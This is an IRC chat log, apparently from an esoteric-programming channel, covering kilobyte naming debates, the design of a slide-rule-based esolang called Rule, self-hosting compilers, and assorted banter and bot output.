22:00:32 <rdococ> I'm still interested though
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22:05:09 <HackEgo> [wiki] [[K]] https://esolangs.org/w/index.php?diff=51780&oldid=51772 * Rdococ * (+4) /* Overview */ Modified the K construct
22:05:35 <rdococ> ais523: you can use the K construct in K to define pi. in fact, the example does.
22:06:42 <rdococ> also, the ?: conditional is right-associative so "a<2 ? 0 : a<4 ? 1 : 2" is "a<2 ? 0 : (a<4 ? 1 : 2)", much more useful than the alternative
22:08:27 <HackEgo> [wiki] [[K]] M https://esolangs.org/w/index.php?diff=51781&oldid=51780 * Rdococ * (-2) /* Overview */ Modified spacing in the example
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22:24:29 <int-e> rdococ: yes having 3 binary digits is redundant, but it solves the problem of what digit to produce after 0. if you have a number that is very close to 1/2: you produce 0.10000 and if the number is less than 1/2 after all, you can still express that using a -1 digit.
22:25:17 <rdococ> so 0.10000... is slightly less than 0.1?
22:26:09 <int-e> actually let me use +,0,- for the digits. 0.+0000000000- is slightly less than 1/2.
22:26:32 <rdococ> 0.0+++++++++++ is the same thing
22:26:36 <hppavilion[1]> I've heard that you can distinguish the abbreviation for SI kilobytes from that of true ~scotsmen~ kilobytes because the former is "kB" and the latter is "KB"
22:26:51 <int-e> rdococ: sure, there's redundancy
22:26:51 <shachaf> Speaking of which, the other day someone mentioned https://en.wikipedia.org/wiki/Conway_base_13_function
22:26:53 <rdococ> hppavilion[1], depends which one is true
22:27:06 <rdococ> is the true one 1000 or 1024?
22:27:08 <int-e> rdococ: in general, equality of computable reals cannot be established!
22:27:30 <int-e> (i.e. the problem whether two computable real numbers are equal is undecidable)
22:27:42 <hppavilion[1]> rdococ: Implicitly, true kilobytes are the ones that aren't SI
22:28:05 <rdococ> hppavilion[1]: that's basically a tautology, I was talking about which ones are 1024 bytes and which ones are 1000.
22:28:28 <rdococ> s/basically a tautology/trivial/
22:28:48 <hppavilion[1]> rdococ: SI kilobytes are 1000 bytes. True kilobytes are, as implied by "can distinguish <a> from <b> by...", the ones that aren't SI
22:29:35 <rdococ> that was the information I was looking for
22:29:49 <myname> i prefer kibibytes vs kil8bytes over "true" and "si"
22:30:25 <shachaf> K is not a good prefix for 1024
22:30:25 <myname> also, the prefix for kibibytes is kiB
22:30:29 <hppavilion[1]> Therefor, true kilobytes are something other than 1000 bytes, and since 1024 is the most common one that isn't 1000, True Kilobytes are likely 1024
22:30:43 <rdococ> latin for power, latin for ten, and byte :P
22:30:51 <shachaf> No, it's not common either.
22:31:05 <myname> shachaf: the should the k be uppercase there?
22:31:06 <shachaf> People use the prefix "K" to mean the same thing as "k".
22:31:36 <fizzie> It is "KiB", although I don't think it should be.
22:32:08 <myname> hppavilion[1]: talking such nonsense immediately exposes you as an american :p
22:32:19 <shachaf> Anyway network bandwidth is often measures in e.g. kbHz
22:32:25 <rdococ> Clearly the true KBs should be called "decem secundum virtutem Dei" :P
22:32:58 <rdococ> Google translates English "kilobyte" into Latin "megabyte">
22:33:06 <hppavilion[1]> shachaf: Windows, an OS with 90% of the world's PC market share, indicates file sizes with "KB"(, "MB", "GB", "TB", ...) and counts as 1024.
22:33:31 <shachaf> Yes, but it doesn't use "k" to mean 1000.
22:33:32 <myname> hppavilion[1]: being common has nothing to do with being right
22:33:40 <shachaf> You're mixing up two unrelated things.
22:33:49 <hppavilion[1]> myname: But I wasn't saying it was right, I was saying it's common.
22:33:52 <int-e> hmmmm, what happened to it
22:34:04 <rdococ> I'm pretty sure Windows uses 1000...
22:34:37 <myname> if it would, people would not wonder about hdd sizes
22:34:52 <rdococ> I don't think people know what a byte is, myname.
22:35:21 <fizzie> I believe there's a couple of contexts that use MB for 1000*1024 bytes.
22:35:41 <myname> there is the famous 3.5" floppy
22:35:57 <myname> that hast 1.44 kilokibibytes capacity
22:36:18 <rdococ> From now on, I'm referring to kibibytes as duadecabytes.
22:36:42 <int-e> "Access to this virtual server has been restricted. The node is currently under maintenance. Please try again later"... huh.
22:36:42 <rdococ> (Or maybe bidecabytes.)
22:36:43 <myname> it's also a great example of why 1024 is a stupid number for that
22:36:45 <fizzie> Yes, a common 3.5" floppy size is 1440 KiB, which often gets referred to as "1.44 MB".
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22:36:58 <fizzie> In packaging, for example.
22:37:11 <shachaf> rdococ: Saying that you're worthless as a defense against other people calling you worthless is not a good strategy.
22:37:27 <rdococ> shachaf: Agreed. But I have nothing else.
22:37:37 <hppavilion[1]> shachaf: (k|Ki?)[Bb]⋅Hz is a unit of data flow rate, is it not?
22:37:44 <shachaf> Better to just not say anything.
22:37:52 <rdococ> I understand that I'm hard to deal with, but I can't help being here.
22:38:07 <shachaf> I'm sure you can help being here. But my objection isn't to you being here.
22:38:11 <myname> shachaf: that'd my default strategy, damn
22:38:36 <shachaf> Yes, Hz is sometimes written as ps
22:38:48 <rdococ> shachaf: On the plus side, what I said was an esoteric username. :P
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22:39:05 <shachaf> myname: http://slbkbs.org/kj-volunteers.txt hth
22:39:12 <hppavilion[1]> (Answer: Yes, but it's a little weird to think about)
22:39:25 <shachaf> Hmm, that's not the excerpt I was thinking of but it's similar.
22:41:56 <shachaf> Maybe only the beginning is similar.
22:41:58 <int-e> "emergency hardware maintenance", well just peachy.
22:42:11 <shachaf> gotta maintain your emergency hardware
22:42:17 <shachaf> just in case there's an emergency sometime
22:42:24 <hppavilion[1]> <shachaf> rdococ: Saying that you're worthless as a defense against other people calling you worthless is not a good strategy. <-- OK, did I miss something? Where did rdococ say that??
22:42:52 <rdococ> hppavilion[1], it's fine.
22:43:07 <rdococ> also, esolangs.org doesn't seem to be loading.
22:43:13 <hppavilion[1]> rdococ: No, not because I really care, just because it's weird that I can't seem to find the context
22:43:59 <rdococ> I can't seem to connect to esolangs.org.
22:45:22 <int-e> Well, nothing I can do about it now... let's hope lambdabot recovers by itself (it really should provided the VM data remains intact).
22:45:34 <shachaf> int-e: You could move it to another machine.
22:45:46 <hppavilion[1]> Honestly, I think that even using 2^10 (or really, 2^13 if you count bitwise) as a mile marker for data is still too arbitrary
22:46:16 <ais523> I can connect to esolangs.org but I don't get a response
22:46:18 <rdococ> hppavilion[1]: Perhaps, but it is double 512.
22:46:39 <rdococ> hppavilion[1]: And that's double 2^8.
22:46:47 <int-e> shachaf: perhaps, but sleep takes priority.
22:47:04 <hppavilion[1]> rdococ: 2^8 or 2^16 make more logical markers IMO, or maybe 2^12 if we need something in that range
22:47:06 <shachaf> int-e: Did you jam any good jams lately?
22:47:16 <rdococ> hppavilion[1]: What should we call them then?
22:47:41 <int-e> I finished thimbleweed park, I think that's basically the only gaming achievement for the past month.
22:47:52 <hppavilion[1]> rdococ: I've heard that there are other food-related metaphors for data
22:48:01 <int-e> I did need a walkthrough at one point though.
22:48:08 <rdococ> hppavilion[1]: Nibbles
22:48:22 <rdococ> A nybble could be 8*4 bytes.
22:48:39 <rdococ> Or would they be nybles?
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22:51:09 <rdococ> or 8 bytes should be 1 cookie
22:51:29 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:52:29 <rdococ> or 64 bits = 8 bytes = 1 hexabit, for 2^6 = 64
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22:53:44 <rdococ> 8 bits = 1 byte = 1 tribit, 64 bits = 8 bytes = 1 hexabit, 512 bits = 8 hexabits = 1 nonabit?
22:54:59 <HackEgo> [wiki] [[User:Serprex]] M https://esolangs.org/w/index.php?diff=51782&oldid=51648 * Serprex * (+88) 26647
22:57:41 <rdococ> hppavilion[1]: better: it's 2^3 bits :P
22:57:52 <rdococ> Of course, I'm aiming for esoteric here now
22:59:16 <hppavilion[1]> Think about all the major esolangs: brainfuck, the Fungeoids, Thue, Underload, Unlambda, and Malbolge
22:59:26 <rdococ> The esoteria isn't in that it's confusing, it's in that "Xbits" referring to "2^x bits" is an unusual naming scheme...
22:59:36 <rdococ> sure, it's confusing, but it's unusual
22:59:53 <rdococ> hppavilion[1]: I can't replicate them, you know that.
23:00:05 <hppavilion[1]> rdococ: I know, I can't either, I'm just using them as an example
23:00:12 <hppavilion[1]> 2/3 of them are very straightforward to understand, if a bit difficult to use
23:00:15 <rdococ> I want to be creative, but I don't know how to.
23:00:39 <hppavilion[1]> Unlambda isn't as easy to understand (since you need to know Combinatory Logic), but it isn't complicated
23:01:07 <rdococ> I still think you calling my idea "stupid" was a little uncalled for :/
23:01:16 <rdococ> think about this: it's not a BF derivative.
23:01:26 <rdococ> actually, it's not an esolang.
23:01:45 <hppavilion[1]> rdococ: Sorry, it's just not a very good scheme :/
23:02:05 <rdococ> would it be better if I tried to make it clearer?
23:02:11 <hppavilion[1]> Malbolge is pretty much impossible to understand for a human mind, but it's still easy to understand in a rather Hofstadterian way: you get that it's really complicated and hard (if not impossible) for a human brain to understand
23:02:39 <hppavilion[1]> rdococ: Have you ever seen LOLCODE? That's what you want to avoid: don't just use crazy names for normal concepts
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23:02:58 <rdococ> hppavilion[1]: True, but that's going to be extremely hard in what is basically an esoteric naming scheme.
23:03:35 <rdococ> hppavilion[1]: At least my names weren't just messed up versions of the originals.
23:04:37 <hppavilion[1]> If you can create a program that takes an esolang candidate and- without much difficulty (exempli gratia lexer, simplified string manipulation, reconcatenate)- turns it into a rather typical language that wouldn't count as an esolang, then it's not an esolang
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23:13:19 <Soni> can you write a brainfuck to x86 compiler in brainfuck?
23:13:45 <rdococ> if you don't have a cell number & a cell size limit
23:13:46 <Soni> can you compile a brainfuck to x86 compiler in a brainfuck to x86 compiler?
23:14:01 <rdococ> no, a compiler isn't a language
23:14:17 <ais523> Soni: have you seen AWIB?
23:14:32 <ais523> http://esolangs.org/wiki/Awib
23:14:55 <ais523> you don't even need to resort to "it's TC so it can be done in theory", it's been done in practice
23:15:56 <Soni> so brainfuck is self-hosting, yes?
23:16:09 <Soni> or w/e it's called
23:16:23 <ais523> being self-hosting is only a property of a language-implementation pair
23:16:31 <ais523> brainfuck is just a language
23:16:46 <ais523> you can say "brainfuck is capable of self-hosting", but then all IO-complete languages are
23:17:54 <Soni> can you write a sed compiler (yes, compiler, not interpreter) in sed?
23:18:59 <ais523> yes, although it would be an utterly frustrating thing to do
23:19:20 <ais523> languages that low-level don't really like compiling regexes
23:19:32 <\oren\> Rio de Janiero is great, but I don't like having Jesus looking over my shoulder all the time
23:20:01 <ais523> think of it this way: you can write a BF interpreter in sed, right? so you can write a sed compiler in BF, and then hardcode that program inro the BF-interpeter-in-sed
23:20:19 <ais523> people don't normally refer to this sort of arrangement when they talk about "self-hosting" because it's a) a pain to maintain, and b) really inefficient
23:20:30 <ais523> but it does work, and it's often the only real way to get anything done in esolangs
23:26:39 <rdococ> how about a language that's just a truth table?
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23:51:16 <HackEgo> [wiki] [[Rule]] N https://esolangs.org/w/index.php?oldid=51783 * Rdococ * (+1482) Created page with "'''Rule''' is a slide-rule-based esoteric programming language by [[User:Rdococ]]. == Overview == Rule's main esoteric gimmick is that it operates on a slide rule with multip..."
23:51:44 <HackEgo> [wiki] [[Rule]] M https://esolangs.org/w/index.php?diff=51784&oldid=51783 * Rdococ * (+0) /* Examples */
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23:53:03 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51785&oldid=51784 * Rdococ * (+145) squaring
23:54:03 <HackEgo> [wiki] [[User:Rdococ]] https://esolangs.org/w/index.php?diff=51786&oldid=51770 * Rdococ * (+80) /* My hopefully better esoteric languages (2017 CE - infinity CE) */
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00:04:26 <rdococ> hoily. are you going to mapole me again?
00:05:48 * boily is not mapoling rdococ
00:06:03 <rdococ> I came up with an esolang that is not just a rehashed version of something else.
00:06:07 * rdococ blocks the non-mapole somehow
00:06:20 <rdococ> it's called Rule. I want to see what you think of it. it's on ze website.
00:07:38 <boily> re Rule: do you plan making it TC? should there be IO?
00:10:33 <rdococ> IREAD for input, OWRITE for output.
00:10:40 <ais523> it probably needs more scales
00:10:48 <ais523> apart from that, though, it seems like a fairly unique idea
00:10:57 <ais523> if you have enough scales, many of which are slideable
00:11:04 <ais523> then you probably don't actually need registers
00:11:27 <ais523> instead of slide/sread, you'd have "match S's 1 to T's N, where N is the number on U opposite V's 1"
00:11:44 <ais523> add flow control and that can probably be TC, and might be interesting
00:14:01 <rdococ> I'll probably add a linear scale for logarithms and exponentiation
00:17:27 <rdococ> and a slidable one too for addition
00:18:18 <rdococ> I could have multiple slidable sections
00:20:14 <Alfie275> So do slide rules just add/subtract exponents/logs?
00:21:29 <rdococ> https://en.wikipedia.org/wiki/Slide_rule
00:24:18 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51787&oldid=51785 * Rdococ * (+196) /* Overview */ Added L and M linear scales for base e logarithms and addition.
00:25:23 <rdococ> how could I add flow control while keeping with the concept of a slide rule
00:26:45 <Alfie275> rdococ: Maybe you could have an instruction that defines a new slide rule?
00:26:51 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51788&oldid=51787 * Rdococ * (+4) Modified SLIDE.
00:27:00 <rdococ> I was thinking that, but how would it work?
00:27:20 <Alfie275> Well each rule is basically a function right, where you have distance being input and value being output
00:27:39 <Alfie275> And you can define the functions via the slide rule operations
00:27:49 <rdococ> It's not that each rule is a function.
00:28:04 <rdococ> Each pair of rules is a function, and it's a function calculated by the scales.
00:28:20 <Alfie275> Well I mean, you can do the scale as a function
00:28:48 <Alfie275> So eg, x distance along the rule the value is y
00:29:07 <rdococ> (Interestingly, each pair of rules in which both rules are unslidable is a single-parameter function, and each pair in which one can be slid with SLIDE is a two-parameter function.)
00:29:19 <Alfie275> For linear it's just y = x, for log its y = e**x etc
00:30:02 * rdococ notes that the base of the logarithmic scale doesn't matter as long as they're the same
00:30:46 <rdococ> I like the natural logarithm anyway.
00:31:06 <rdococ> (but base e arithmetic is a little bizarre.)
00:31:23 <rdococ> (You could say it's... esoteric :P)
00:31:34 <rdococ> (of course, it probably has practical uses)
00:31:55 <rdococ> esoteric has 2 e's in it :P
00:32:18 <rdococ> esoteric has i in it :P
00:32:38 <rdococ> c is the speed of light, so you must square it
00:33:12 <Alfie275> That reminds me of when I was bored in physics class, and came up with a convoluted way to aproximate g (which is as accurate as actual measurements due to variation over earth)
00:35:34 <Alfie275> How are programs stored in RULE, do you have a program counter slide that slides along a program rule? :P
00:35:38 <rdococ> ais523: maybe multiple slidable sections?
00:35:59 <rdococ> Alfie275: no, punched cards :P
00:36:05 <ais523> rdococ: yes, that's what I wasa suggesting
00:36:28 <ais523> <Alfie275> rdococ: Maybe you could have an instruction that defines a new slide rule? ← that's not flow control, that's data expansion
00:36:32 <rdococ> ais523: that might work in place of registers
00:36:42 <Alfie275> ais523: Yeah, I was thinking just as an idea
00:36:43 <ais523> rdococ: that's also what I was suggesting
00:37:05 * rdococ wonders if he needs three registers
00:38:50 <Alfie275> You could just use a JUMP command I guess, where you just jump to that instruction number
00:38:52 <shachaf> Is there an esolang which implements control flow using flow control?
00:40:00 <Alfie275> Though expanding on the program as a rule idea, you could have the program be a rule that contains both instructions and any data, and then use matching against the data to do flow control and read off the instructions
00:40:25 <ais523> shachaf: I don't think so
00:40:37 <ais523> but one of my ideas on the back burner is an esolang that /only/ uses control codes
00:40:50 <ais523> and XON/XOFF for control flow is just the sort of thing that would fit perfectly in that
00:41:41 <Alfie275> Eg a command that matches the chosen rule against nearest data in the program rule, and then reads the command at a certain value (eg 0) and runs from there
00:42:10 <rdococ> how would I perform I/O with registers being replaced
00:46:24 <rdococ> I'll have to keep one register.
00:47:36 <HackEgo> intercal//INTERCAL has excellent features for modular program for the enterprise market.
00:51:12 <HackEgo> patch//patch is the precursor to both perl and version control.
00:51:25 <HackEgo> the question//The The Question is the fundamental mystery of #esoteric, and boily is its master.
00:53:44 <rdococ> My language's examples are getting hard to follow in this upcoming edit
00:53:46 <shachaf> Surely boily has asked you the the question before.
00:54:56 <rdococ> boily, what is the answer to the The Question?
00:57:00 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51789&oldid=51788 * Rdococ * (+734) Whew.
00:58:12 <rdococ> I guess it's a good thing that my language is getting harder to understand, yet its concept is still simple. Also, now the slide rule can snap and break.
00:58:21 <Jafet> hm, I just exec'd a haskell source file and it didn't fail
00:58:35 <Jafet> oh, “import” is an imagemagick tool
00:59:07 <Jafet> I guess “type” and “where” are also shell builtins
01:00:23 <rdococ> I like my new language. It's cool.
01:01:13 <boily> helloochaf. quintopia is asked.
01:01:28 <boily> rdococ: it is not 42. there may be a 42, somewhere.
01:01:36 <rdococ> boily, is it the digits of e?
01:02:16 <shachaf> boily: https://www.google.com/maps?q=42.0,+42.0 hth
01:02:38 <shachaf> 42 is a scow number anyway
01:02:46 <rdococ> everyone knows 12 is better
01:03:33 <rdococ> also, a scow number would be M00.00 where M stands for -1 in balanced decimal.
01:05:30 <boily> . o O ( what is a cow's endianness? )
01:06:27 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51790&oldid=51789 * Rdococ * (+201) /* Examples */ Simpler multiplication program
01:07:21 <rdococ> I took inspiration from the tape stick/cut/rolling idea on the list of ideas.
01:12:34 <quintopia> boily: what is the current barycenter according to boily?
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01:26:25 <boily> quintopia: I'd say... somewhere in the midwest, probably a few klicks underground.
01:26:41 <boily> depends on lifthrasiir, really. he's the outlierest person.
01:26:42 <HackEgo> [wiki] [[Rule]] M https://esolangs.org/w/index.php?diff=51791&oldid=51790 * Rdococ * (+29) /* Overview */
01:28:46 <boily> sorry if it didn't come up right >_>'...
01:29:00 <boily> I meant you're far away.
01:29:56 <rdococ> I'm thinking of how I would implement flow control
01:30:19 <rdococ> I could turn the IP into a section of its own
01:30:27 <rdococ> something you can slide, like ordinary scales
01:30:40 <rdococ> the program code would be attached to it
01:31:12 <rdococ> I also considered creating a graphical representation.
01:31:35 <rdococ> Tonight is a good night, nevertheless.
01:34:22 <boily> this is your night tonight everything's gonna be alright ♪
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01:43:28 <rdococ> time to add more slides
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02:03:42 <lifthrasiir> boily: ah I am fine with that, I'm just wondering if I AM the outliest :?
02:05:46 <lifthrasiir> anyway, right now I'm around 37.48499,127.01621
02:06:23 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51792&oldid=51791 * Rdococ * (+533) /* Overview */ Added G and H.
02:09:08 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51793&oldid=51792 * Rdococ * (-435) /* Overview */ Removed G and replaced H with S, because you can compare numbers with subtraction & sign.
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02:10:23 <hppavilion[1]> 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 110, 111, 112, 113, 114, 115, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 210, 211, 212, 213, 214, 215, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 310, 311, 312, 313, 314, 315
02:11:09 <HackEgo> [wiki] [[Rule]] https://esolangs.org/w/index.php?diff=51794&oldid=51793 * Rdococ * (+81) /* Overview */ Readded G as floor. May be required for comparisons. x>y = floor((sgn(x-y)+1)/2), for example.
02:15:00 <boily> lifthrasiir: I confirm the outlyingity, as far as my data is reliable.
02:15:37 <shachaf> lifthrasiir is outlier than anyone else?
02:20:44 <rdococ> are you sure it's not me?
02:21:22 <shachaf> In what ways is lifthrasiir outly?
02:21:47 <boily> rdococ: what are your approximative geographic coördinates?
02:21:48 <shachaf> geographic co'ordinates and body weigh?
02:22:05 <quintopia> boily what were lifthrasiir's coördinates
02:22:08 <boily> only the ö, not the body weigh. we're all about the same.
02:22:23 <boily> quintopia: “37.48499,127.01621”, according to him.
02:23:17 <shachaf> boily: you don't know my body weigh hth
02:23:28 <lambdabot> KOAK 190053Z 28011KT 10SM FEW020 17/12 A3012 RMK AO2 SLP201 T01720122
02:23:28 <rdococ> if longitude goes first
02:23:39 <boily> shachaf: yup! you're the rebarbativest of them all :D
02:23:39 <lambdabot> KJFK 190051Z 13009KT 10SM FEW250 09/06 A3049 RMK AO2 SLP324 T00940056
02:23:55 <quintopia> boily those coördinates have got soul
02:24:35 <shachaf> https://www.google.com/maps?q=53%2C+0
02:24:40 <shachaf> cowbridge? more like scowbridge
02:25:07 <rdococ> shachaf: I'm not in cowbridge, I'm in the same country though.
02:25:24 <shachaf> country? more like scowntry
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02:26:27 <lambdabot> *** "rebarbative" wn "WordNet (r) 3.0 (2006)"
02:26:27 <lambdabot> adj 1: serving or tending to repel; "he became rebarbative and
02:26:27 <lambdabot> prickly and spiteful"; "I find his obsequiousness
02:26:27 <lambdabot> repellent" [syn: {rebarbative}, {repellent}, {repellant}]
02:27:20 <quintopia> (from Old French re- + barbe (“barb”, “beard”) (from Latin barba (“beard”), literally “to stand beard to beard against”) + -atif (“-ative”).
02:27:20 <boily> not quite that, just uncoöperative. (with good reason, I must say.)
02:27:33 <boily> the word is French, indeed.
02:28:00 <lambdabot> *** "equivocate" wn "WordNet (r) 3.0 (2006)"
02:28:00 <lambdabot> v 1: be deliberately ambiguous or unclear in order to mislead or
02:28:00 <lambdabot> withhold information [syn: {beat around the bush},
02:28:00 <lambdabot> {equivocate}, {tergiversate}, {prevaricate}, {palter}]
02:28:00 <quintopia> you cant stand beard to beard with no beard
02:28:38 <boily> rdococ: if you want to use «ë» and «ï», you should learn French! a very good language!
02:29:10 <boily> tergiverser est un bon mot pour les cabots.
02:29:39 <rdococ> boily: Or I could get into the habit of using it like you do, to distinguish word parts
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02:32:04 <boily> ça se peut bien! la dernière fois que j'ai checké, j'avais assez de poil pour en être un.
02:32:54 <boily> (holy fungot... google translate got it perfectly right... the End of Times is Nigh.)
02:32:54 <fungot> boily: ( the " well, it's distinctive. i'll have to write two
02:33:19 <boily> it even got «checké».
02:33:54 <shachaf> boily: the robots are taking our jobs tdnh
02:35:17 <boily> meanwhile, 'night all!
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02:56:21 <shachaf> Are you sure you don't want the / going through the whole ligature?
02:56:29 <shachaf> There's a combining / that you could put over the oe ligature.
03:04:47 <rdococ> ö is used for both [ø] and [œ] in some languages
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05:39:56 <\oren\> hold on a second wasn't there, at some point, somehting called "Froogle"?
06:08:34 <HackEgo> [wiki] [[Jot]] https://esolangs.org/w/index.php?diff=51795&oldid=51779 * Oerjan * (-13) There's no way it's not pronounced like the synonym of "iota".
06:09:02 * oerjan barely resisted adding the quip, "happy s... oh, whoops"
06:09:27 <oerjan> but not mentioning it.
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08:11:43 <int-e> today's xkcd is really big
08:12:13 <oerjan> and the other day so was dmm's dinosaur whiteboard. must be something infectious.
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08:13:06 <int-e> anyway, glad lambdabot came back on its own :)
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08:26:15 <shachaf> int-e: So in Monkey Island you need to carry some corrosive grog in pewter mugs.
08:42:54 <Nistur> a good rant is always helpful
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08:57:21 <int-e> shachaf: Right... they melt... but I never realized that they were supposed to be made of pewter? And you get many of those mugs anyway... oh well, whatever. This (getting stuck on a puzzle or two) tends to happen in all interesting adventure games.
08:59:17 <Nistur> I need to actually complete a Monkey Island game... I've played a lot of point and click adventures, but never played more than an hour or so of a Monkey Island
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09:46:32 <diginet> Express-orientation is a really stupid idea IMO, at least for non-functional languages
09:46:45 <diginet> it's almost certainly never what you want, and its popularity baffles me
09:54:08 <int-e> wtf is express-orientation
09:54:56 <rdococ> express-oriented programming?
09:55:03 <int-e> or rather, what does it have to do with programming.
09:57:44 <rdococ> . o O ( espresso orientation )
09:59:11 <rdococ> Wikipedia -> "declarative which does not state the order in which operations execute," <- in that definition, a language which executes its operations at random, but is otherwise imperative, would be declarative
10:12:35 <diginet> it's why "if (x = 5) { [...]" works in C
10:13:14 <rdococ> it doesn't do what you expect, I guess
10:13:35 <rdococ> I've read that assignment actually returns a value (and that value is even different from C to C++
10:14:06 <diginet> yes, in C every "statement" is really an expression
10:14:18 <diginet> as opposed to Pascal-likes
10:14:22 <rdococ> honestly, for an imperative language, that is pretty cool
10:16:08 <diginet> the legitimate usages of this "feature" are minute compared to the possibilities for accidents or abuse
10:16:30 <rdococ> is that you're talking about a dangerous feature in #esoteric
10:17:06 <rdococ> but if the expression (x = 5) returns 5, I don't see the issue
10:19:09 <rdococ> . o O ( you have softlocks, what about hardlocks? )
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11:42:18 <HackEgo> sparkle//Sparkles are annoying visual artifacts that people try to use deliberately for decoration and artistic photographs and drawings.
11:45:23 <HackEgo> latin//LATINA EST SVBLIMISSIMA LINGVA MVNDI
11:46:39 <boily> were you `relcomed?
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12:06:09 <HackEgo> diginet: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
12:10:15 <ais523> it's just `welcome normally
12:10:19 <ais523> but people made a bunch of silly variants
12:10:25 <ais523> the rainbow-coloured one is fairly popular
12:11:17 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wElcOme: not found
12:11:22 <boily> it's a rainbowelcome.
12:11:26 <Taneb> Ah, that one doesn't exist any more
12:12:05 <boily> `` find bin/ -iname '*elcome*'
12:12:05 <HackEgo> bin/Welcome \ bin/wElCoMe \ bin/velcome \ bin/autowelcome \ bin/WELCOME \ bin/welcome \ bin/relcome \ bin/WeLcOmE \ bin/welcome \ bin/ReLcOmE \ bin/rwelcome \ bin/elcome
12:12:41 <Taneb> Oh, I must have typed it wrong
12:12:44 <Taneb> Probably a good thing
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13:21:19 <b_jonas> I have two dummy entries in the phonebook in my mobile phone whose names start with "A " so they're the first in the phonebook as it's listed, to avoid the problem when I accidentally dial someone with two keypresses just because he's name starts with an A. Am I the only one who does this?
14:06:09 <Taneb> Has anyone ever written a sed self-interpreter?
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14:06:43 <b_jonas> Taneb: probably no. at least not a non-cheating one (one that doesn't just invoke sed or perl or something as an external command)
14:06:50 <b_jonas> it would be very difficult to write one.
14:07:08 <sdhand> The question is if it's actually impossible
14:07:29 <b_jonas> sdhand: that's a question of how you define sed and self-interpreter. I think it's possible if you define them properly.
14:08:31 <b_jonas> but it would be horribly complicated, because sed is both a difficult language to implement (you'd need at least some of a regex engine, enough to run itself) and awkward to program in
14:08:55 <sdhand> That's sorta the point
14:09:47 <b_jonas> the point of obfu/eso-programming is to have fun. this wouldn't be fun, I think
14:10:16 <Taneb> b_jonas, fun may vary to taste
14:10:23 <Taneb> It's certainly a challenge
14:10:44 <b_jonas> have you even ever written a regex engine (not even one with alternatives or posix-correct first longest capture match choice rule, just a simple one with captures and star and bracket-charsets) in any language?
14:12:24 <b_jonas> I mean, maybe you could write this one even simpler than that, like one that doesn't backtrack between bracket-charset-stars, but still, it's ugly.
14:13:14 <b_jonas> it's especially ugly if you have to make it so that the interpreter can handle all bytes in the text and regexen except newline, or at least all the bytes that it itself needs for correct interpreting
14:14:05 <b_jonas> though I guess you could cheat by reserving like eight or sixteen bytes and transliterating the characters up by that much in the text, because given how slow this would be, nobody would notice that it breaks after ten nesting levels
14:14:44 <b_jonas> anyway, you're welcome to try if you want
14:21:34 <sdhand> I certainly shall (and likely give up very quickly)
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15:02:09 <fizzie> Hmm. There's a unicorn in the lobby.
15:02:42 <Nistur> is it one of the ones which invaded Dundee?
15:04:10 <fizzie> https://zem.fi/tmp/unicorn.jpg (from four floors up)
15:05:03 <Nistur> I don't want to make assumptions... but what are the chances that has... um... 'access' under the tail?
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17:42:32 <\oren\> it's fucking "a historic victory" pronounce your H's properly you uncouth swine
17:42:44 <\oren\> it's not "an historic victory"
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17:43:52 <hppavilion[1]> I just wrote myself a snazzy new command line tool called "weigh" that gives me the size of a file or directory (because ls didn't seem to work properly), and one folder on my desktop is supposedly 224.51 GiB
17:45:06 <Nistur> hppavilion[1]: on linux?
17:46:09 <hppavilion[1]> Nistur: Though, the program I wrote should work on any OS where os.path.*, os.listdir, and os.getcwd are properly implemented
17:46:17 <sdhand> in what way was ls not working?
17:47:09 <hppavilion[1]> sdhand: It seems like it might just not detect Windows directories properly except in normal listing (it doesn't list details). But I'm not asking for help, I have a program to do it now :P
17:47:17 <hppavilion[1]> Nistur: (Oh, it's in Python if I didn't mention it)
17:47:26 <Nistur> I assumed it would be :P
17:47:37 <Nistur> and you don't even need -s
17:47:57 <sdhand> hppavilion[1]: oh weird
17:48:05 <sdhand> I'm not really out to help, just curios
17:48:12 <sdhand> wow that's not how that word is spelt
17:48:20 <Nistur> sdhand: close enough :P
17:49:27 <Nistur> hppavilion[1]: I went through a phase of writing little tools... but then realising that 99.99% of the little tools I was writing already existed :P
17:49:47 <Nistur> I didn't use python though because I have this itchy feeling whenever I have to write it
17:50:27 <sdhand> I don't really enjoy python
17:50:37 <sdhand> it makes small things like that easy to do tho, which I guess is the point
17:51:09 <Nistur> the main thing which it has going for it... um... it reminds me of that java (I think it was java) quote
17:51:31 <Nistur> https://i.imgur.com/t6qAhNc.jpg
17:52:07 <Nistur> no comment about the validity of the second part of the quote, but it always comes to mind :P
17:52:50 <Nistur> (original quote was probably from bash.org: http://bash.org/?338364 but I found the image first)
17:53:27 <Nistur> anyway, I'm done banging my head against these problems. Home time methinks
17:58:44 <\oren\> I prefer perl to python
17:58:59 <\oren\> I don't like significant indentation
17:59:01 <Nistur> yay perl, for when you need a write only language :D
17:59:11 <Nistur> \oren\: that's pretty much the main reason why I dislike python :P
17:59:22 <\oren\> python would be fine if they would get with the program and use {}
18:00:16 <Nistur> or use sexpressions. That'd be acceptable too
18:00:20 <sdhand> write a pre-processor for it ;p
18:00:30 <sdhand> I don't care too much about syntax
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19:03:21 <hppavilion[1]> I JUST got the pun built into "corn maze" after being outright told. I'm an idiot.
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20:01:23 <Taneb> I... I have a Haskell exam tomorrow morning
20:02:14 <shachaf> Are you examining or being examined?
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20:09:18 <Taneb> It's something that doesn't feel real
20:09:32 <Taneb> I guess I'd like to thank this channel for getting me into Haskell like seven years ago
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20:58:24 <\oren\> hmm, looks like rust integers are fundamentally broken in the same way as c integers
20:59:23 <sdhand> \oren\: how are C intergers broken?
21:00:01 <\oren\> that 0x7FFFFFFF + 1 is undefined
